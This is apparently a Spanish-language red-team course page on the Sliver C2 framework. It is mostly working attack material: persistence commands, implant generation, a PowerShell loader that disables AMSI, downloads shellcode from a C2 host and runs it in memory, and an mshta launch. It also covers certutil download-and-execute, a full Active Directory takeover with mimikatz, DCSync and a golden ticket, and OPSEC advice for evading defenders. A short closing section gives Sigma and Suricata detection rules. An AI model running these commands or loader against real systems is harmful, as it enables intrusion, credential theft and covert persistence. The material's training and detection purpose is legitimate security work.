⚠ OPSEC — Persistencia sigilosaLa persistencia es lo que más delata una operación. Los defensores buscan activamente cambios en el registro, nuevas tareas y nuevos servicios. Usar el mecanismo menos detectable para el entorno objetivo.
Sliver — Mecanismos de persistencia
## 1. Registro (Run key) — el más común y detectado
sliver (session) > reg write --hive HKCU --path "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" --key "WinUpdate" --value "C:\\ProgramData\\WinUpdate.exe" --type string

## 2. Tarea programada — ejecuta en login o periódicamente
sliver (session) > execute -s schtasks /create /tn "SystemMaintenance" /tr "C:\\ProgramData\\WinUpdate.exe" /sc onlogon /ru SYSTEM /f
[+] Task created: SystemMaintenance

## 3. Servicio Windows — persiste sin login de usuario
sliver (session) > execute -s sc create WinDefSvc binpath= "C:\\ProgramData\\WinUpdate.exe" start= auto
sc description WinDefSvc "Windows Defender Update Service"

## 4. DLL hijacking — muy sigiloso si el proceso es legítimo
# Subir evil.dll con nombre de DLL que busca el proceso objetivo
sliver (session) > upload /tmp/evil.dll C:\\Program Files\\SomeApp\\version.dll
# Cuando SomeApp.exe arranque, cargará nuestra DLL

## 5. WMI event subscription (más sigiloso)
sliver (session) > execute -s powershell -c "$filter = Set-WmiInstance -Class __EventFilter -NameSpace root\\subscription -Arguments @{Name='Update';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=9 AND TargetInstance.Minute=0\"}"

MITRE T1547.001Registry Run Keys
MITRE T1053.005Scheduled Task
MITRE T1543.003Windows Service
Laboratorio — 01
🧪 Lab: Primer Implante

Setup completo desde cero: instalar Sliver, crear un listener HTTPS, generar un implante Windows, ejecutarlo y obtener la primera sesión.

🧪LAB-SLIVER-01 — Primera sesión Sliver completaFÁCIL

Entorno: Kali Linux como atacante con Sliver instalado. Windows 10 como víctima en la misma red. Defender desactivado para el lab. Objetivo: obtener sesión y ejecutar comandos básicos.

Setup del Entorno

BASH — Kali Linux: instalar y arrancar Sliver
# Instalar Sliver
curl https://sliver.sh/install | sudo bash

# Arrancar el servidor
sudo sliver-server
    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ...
sliver >

# Obtener IP del atacante
ip a | grep "inet " | grep -v 127
inet 192.168.1.100/24  ← ATACANTE_IP

Crear Listener y Generar Implante

Sliver Console — Lab 01
# Paso 1: Crear listener HTTPS sliver > https --lhost 0.0.0.0 --lport 443 [*] Starting HTTPS listener on 0.0.0.0:443 ... [*] Successfully started job #1 # Paso 2: Generar implante Windows session sliver > generate --https 192.168.1.100:443 --os windows --arch amd64 --format exe --save /tmp/lab/ [*] Generating new windows/amd64 implant binary [*] Build completed in 25s [*] Implant saved to /tmp/lab/BLUE_OCEAN.exe # Paso 3: Servir el implante vía HTTP para descarga # (en otra terminal) $ cd /tmp/lab && python3 -m http.server 8080

Ejecutar en la Víctima y Obtener Sesión

CMD — Windows víctima (Defender desactivado en lab)
:: Desactivar Defender para el lab
Set-MpPreference -DisableRealtimeMonitoring $true

:: Descargar y ejecutar el implante
certutil -urlcache -f http://192.168.1.100:8080/BLUE_OCEAN.exe C:\Temp\update.exe
C:\Temp\update.exe
Sliver Console — Sesión recibida
[*] Session #1 BLUE_OCEAN - 192.168.1.50:50234 (CORP-PC01) - windows/amd64 - Fri Jan 15 14:30:22 sliver > use BLUE_OCEAN sliver (BLUE_OCEAN) > whoami corp\john.doe sliver (BLUE_OCEAN) > info Hostname: CORP-PC01 Username: CORP\john.doe OS: windows/amd64 PID: 4821 sliver (BLUE_OCEAN) > ls C:\Users\john.doe\Desktop flag.txt ← CTF flag! sliver (BLUE_OCEAN) > cat C:\Users\john.doe\Desktop\flag.txt GhostAcademy{sl1v3r_f1rst_s3ss10n}
Laboratorio — 02
🧪 Lab: Beacon HTTPS Ofuscado

Generar un beacon con ofuscación garble, jitter configurado y transporte HTTPS con certificado LetsEncrypt. La configuración más sigilosa para operaciones reales.

Sliver — Lab 02: Beacon HTTPS con ofuscación
# Listener HTTPS con dominio y cert LetsEncrypt sliver > https --lhost 0.0.0.0 --lport 443 --domain updates.ghostlab.online --lets-encrypt [*] Obtaining LetsEncrypt certificate for updates.ghostlab.online ... [*] HTTPS listener started (valid TLS cert) # Beacon con garble: 5min interval, 30% jitter, ofuscado sliver > generate beacon --https updates.ghostlab.online:443 --os windows --arch amd64 --format exe --evasion --skip-symbols --seconds 300 --jitter 90 --name "WinUpdate" --save /tmp/ [*] Evasion enabled: garble obfuscation [*] Sleep interval: 300s ± 90s jitter [*] Build completed in 52s [*] Saved to /tmp/WinUpdate.exe # Ejecutar en víctima y esperar check-in # (en víctima con Defender desactivado para lab) # Cuando hace check-in: [*] Beacon WinUpdate - CORP-PC01 - windows/amd64 - Next check-in: 4m12s sliver > use WinUpdate sliver (WinUpdate) > whoami [*] Tasked beacon WinUpdate — waiting for next check-in ... [+] corp\john.doe
Laboratorio — 03
🧪 Lab: Evadir Windows Defender

Demostrar la diferencia de detección entre un implante sin ofuscación (detectado) y un shellcode loader en memoria (no detectado) con Defender activo en Windows 10/11.

🧪LAB-SLIVER-03 — Bypass Windows Defender con shellcode loaderAVANZADO

Defender activo, AMSI activo. Demostrar por qué el EXE directo falla y cómo el shellcode loader en memoria evade la detección estática y comportamental básica.

Sliver + PowerShell — Evasión en capas
## FASE 1: Demostrar que el EXE sin ofuscar es detectado
sliver > generate beacon --https c2.lab:443 --os windows --format exe --save /tmp/no_obf.exe
# En víctima con Defender activo:
C:\Temp\no_obf.exe
Threat detected! (Defender bloquea)

## FASE 2: Con garble — menor detección
sliver > generate beacon --https c2.lab:443 --os windows --format exe --evasion --save /tmp/obf.exe
# En víctima: puede pasar o no dependiendo de la versión de Defender

## FASE 3: Shellcode en memoria — el más efectivo
# Generar shellcode
sliver > generate beacon --https c2.lab:443 --os windows --arch amd64 --format shellcode --evasion --save /tmp/beacon.bin

# Loader PowerShell con AMSI bypass + shellcode en memoria
cat > /tmp/loader.ps1 << 'EOF'
# Patch AMSI
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

# Descargar shellcode del C2
$wc = New-Object System.Net.WebClient
$sc = $wc.DownloadData('https://c2.lab:443/beacon.bin')

# Alojar en memoria con VirtualAlloc
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)
[System.Runtime.InteropServices.Marshal]::Copy($sc, 0, $mem, $sc.Length)

# Marcar como ejecutable
$old = 0
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (Add-Type -MemberDefinition '[DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr a, uint b, uint c, out uint d);' -Name vp -PassThru).GetMethod('VirtualProtect'),
    [type]'System.Func[IntPtr,uint,uint,[uint],bool]'
)
$vp.Invoke($mem, [uint]$sc.Length, 0x40, [ref]$old)

# Ejecutar
$delegate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mem, [Action])
$delegate.Invoke()
EOF

# Ejecutar el loader en la víctima via mshta (LOLBAS)
mshta.exe "javascript:a=new ActiveXObject('WScript.Shell');a.Run('powershell -ep bypass -w hidden -f C:\\Temp\\loader.ps1',0);close()"

# El beacon hace check-in sin que Defender lo detecte
[*] Beacon — CORP-PC01 — windows/amd64 — Just now
Laboratorio — 04
🧪 Lab: Operación Active Directory

Simulación de operación Red Team completa en entorno AD: foothold → escalada → lateral → DCSync. Todo desde Sliver.

🧪LAB-SLIVER-04 — AD Takeover: foothold a Domain AdminAVANZADO

Entorno: AD con DC (192.168.1.10), workstation (192.168.1.50). Acceso inicial como usuario de dominio con SeImpersonatePrivilege via servicio web comprometido.

Sliver — Operación AD completa
## FASE 1: Foothold (implante ya ejecutado como www-data/IIS) sliver > sessions GHOST_RUNNER — 192.168.1.50 — windows/amd64 — CORP\svc_web sliver (GHOST_RUNNER) > privs SeImpersonatePrivilege: Enabled ← perfecto para Potato ## FASE 2: Escalada a SYSTEM sliver (GHOST_RUNNER) > getsystem [+] Got SYSTEM via Named Pipe Impersonation sliver (GHOST_RUNNER) > getuid NT AUTHORITY\SYSTEM ## FASE 3: Dump de credenciales sliver (GHOST_RUNNER) > mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit User Name : john.doe Domain : CORP Password : Welc0me2024! sliver (GHOST_RUNNER) > hashdump Administrator:500:...:8846f7eaee8fb117ad06bdd830b7586c::: ## FASE 4: Movimiento lateral al DC sliver > generate beacon --https c2.lab:443 --format service --os windows --save /tmp/dc_beacon.exe sliver (GHOST_RUNNER) > psexec --hostname 192.168.1.10 --username CORP\\john.doe --password 'Welc0me2024!' /tmp/dc_beacon.exe [+] Session opened: DARK_STAR on DC01 (192.168.1.10) ## FASE 5: DCSync — extraer todos los hashes del dominio sliver (DARK_STAR) > mimikatz "privilege::debug" "lsadump::dcsync /domain:corp.local /all /csv" exit Administrator 500 8846f7eaee8fb117ad06bdd830b7586c krbtgt 502 b326a7e08a6893a8bb699bd0c1b4ea0 ← Golden Ticket! sliver (DARK_STAR) > mimikatz "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:b326a7e08a6893a8bb699bd0c1b4ea0 /ticket:golden.kirbi" exit [*] Golden Ticket created: golden.kirbi [+] Domain CORP.LOCAL — fully compromised
Opsec y Defensa
👁 OPSEC para Operadores

Operational Security: las prácticas que mantienen al equipo Red Team sin ser detectado durante la operación. Un Sliver bien configurado sin OPSEC es tan ruidoso como meterpreter.

◈ Reglas de Oro — OPSEC Sliver
Nunca subir implantes reales a VirusTotal — las firmas se comparten con los AV en minutos
Usar dominios con historial limpio — evitar dominios recién registrados (flagged)
El redirector absorbe el "quemado" — si una IP se bloquea, solo se pierde el redirector
Beacons con jitter amplio — patrones exactos de check-in son detectables en SIEM
Limpiar artefactos — implantes, logs, herramientas subidas al finalizar la operación
Un implante por objetivo — no reutilizar el mismo binario en diferentes sistemas
Canary domains — detectar cuando el implante está en sandbox y no ejecutar
Certificados TLS válidos — los autofirmados generan alertas en proxies corporativos

Checklist Pre-Operación

Checklist — Antes de lanzar el implante
□ Dominio C2 con TLS válido (LetsEncrypt o cert comprado)
□ Redirector configurado entre implante y C2 real
□ User-Agent del implante = navegador legítimo del entorno objetivo
□ Implante compilado con --evasion (garble) y --skip-symbols
□ Beacon interval/jitter apropiado para la operación
□ Canary domains configurados para detectar sandboxes
□ Implante testeado en VM limpia con AV activo (NO en VT)
□ Puerto del C2 real (31337) accesible solo desde IP del equipo
□ Plan de cleanup documentado
□ Logging de todas las acciones para el informe final
Defensa
🔭 Detección y Blue Team

Cómo detectar infraestructura y actividad de Sliver desde el lado defensor. Reglas Sigma, IOCs de red y comportamientos característicos.

IOCs de Red — Sliver

Indicadores de Red — Sliver C2
# Sliver usa certificados TLS con JA3 fingerprint específico
# El JA3 hash del cliente Sliver: puede detectarse en logs de proxy/firewall

# Buscar en Suricata/Snort:
alert tls any any -> any 443 (msg:"Sliver C2 JA3 fingerprint"; ja3.hash; content:"1aa7bf6b3d2996838bb58af4b31a6720"; sid:9001001;)

# User-Agent default de Sliver (puede cambiarse pero muchos dejan el default)
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ... Sliver

# Tamaño de peticiones HTTPS periódicas — patrón de beacon
# Buscar peticiones HTTPS a intervalos regulares (con jitter) al mismo host

# DNS IOCs — Sliver DNS beacons usan subdominios con patrón específico
a1b2c3d4e5f6.c2.domain.lab → TXT query con datos codificados

Reglas Sigma para Detección de Sliver

Sigma YAML — Detección de comportamiento Sliver
## Detectar getsystem via Named Pipe Impersonation
title: Sliver getsystem Named Pipe
detection:
    selection:
        EventID: 18
        PipeName|contains: '\ghostpipe'
    condition: selection
level: high
tags:
    - attack.t1134.001

## Detectar implante Sliver por comportamiento de proceso
title: Sliver Implant Process Behavior
detection:
    selection:
        EventID: 1
        CommandLine|contains|all:
            - '-NoP'
            - '-NonI'
        ParentImage|endswith:
            - '\svchost.exe'
            - '\mshta.exe'
    condition: selection
level: medium

## Detectar migración de proceso (VirtualAllocEx + WriteProcessMemory + CreateRemoteThread)
title: Process Injection Triad
detection:
    selection:
        EventID: 10  # Sysmon process access
        GrantedAccess: '0x1fffff'
        TargetImage|endswith:
            - '\svchost.exe'
            - '\explorer.exe'
            - '\notepad.exe'
    condition: selection
level: high
tags:
    - attack.t1055
Recursos
✅ Referencia Rápida

Cheatsheet completo de comandos Sliver para operaciones de Red Team.

Comandos de Servidor

  • Arrancar servidor: sudo sliver-server
  • Listener HTTPS: https --lhost 0.0.0.0 --lport 443
  • Listener mTLS: mtls --lhost 0.0.0.0 --lport 8888
  • Ver jobs: jobs
  • Ver sesiones: sessions
  • Ver beacons: beacons
  • Ver implantes generados: implants
  • Multi-operador: multiplayer + new-operator --name X --lhost IP

Generar Implantes

  • Session Win HTTPS: generate --https C2:443 --os windows --format exe --save /tmp/
  • Beacon ofuscado: generate beacon --https C2:443 --evasion --seconds 300 --jitter 90 --os windows --save /tmp/
  • Shellcode Win: generate beacon --https C2:443 --format shellcode --os windows --save /tmp/sc.bin
  • Linux mTLS: generate beacon --mtls C2:8888 --os linux --evasion --save /tmp/
  • DLL: generate --https C2:443 --format shared --os windows --save /tmp/evil.dll

Comandos en Sesión

  • Info del sistema: info / whoami / getuid
  • Privilegios: privs → getsystem
  • Procesos: ps → migrate --pid PID
  • Inyección: inject --pid PID --shellcode /tmp/sc.bin
  • Archivos: ls / cat / download SRC DST / upload SRC DST
  • Credenciales: hashdump / mimikatz "sekurlsa::logonpasswords"
  • SOCKS proxy: socks5 start --port 1080
  • Port forward: portfwd add --remote-host X --remote-port Y --local-port Z
  • Screenshot: screenshot
  • Shell: shell

Referencias

  • Sliver Wiki: github.com/BishopFox/sliver/wiki
  • Armory: github.com/BishopFox/sliver-armory
  • MITRE ATT&CK: attack.mitre.org/software/S0633
  • Sliver Defender Evasion: github.com/BishopFox/sliver/wiki/Anti-Virus-&-EDR-Evasion
  • Sigma Sliver: github.com/SigmaHQ/sigma/tree/master/rules/windows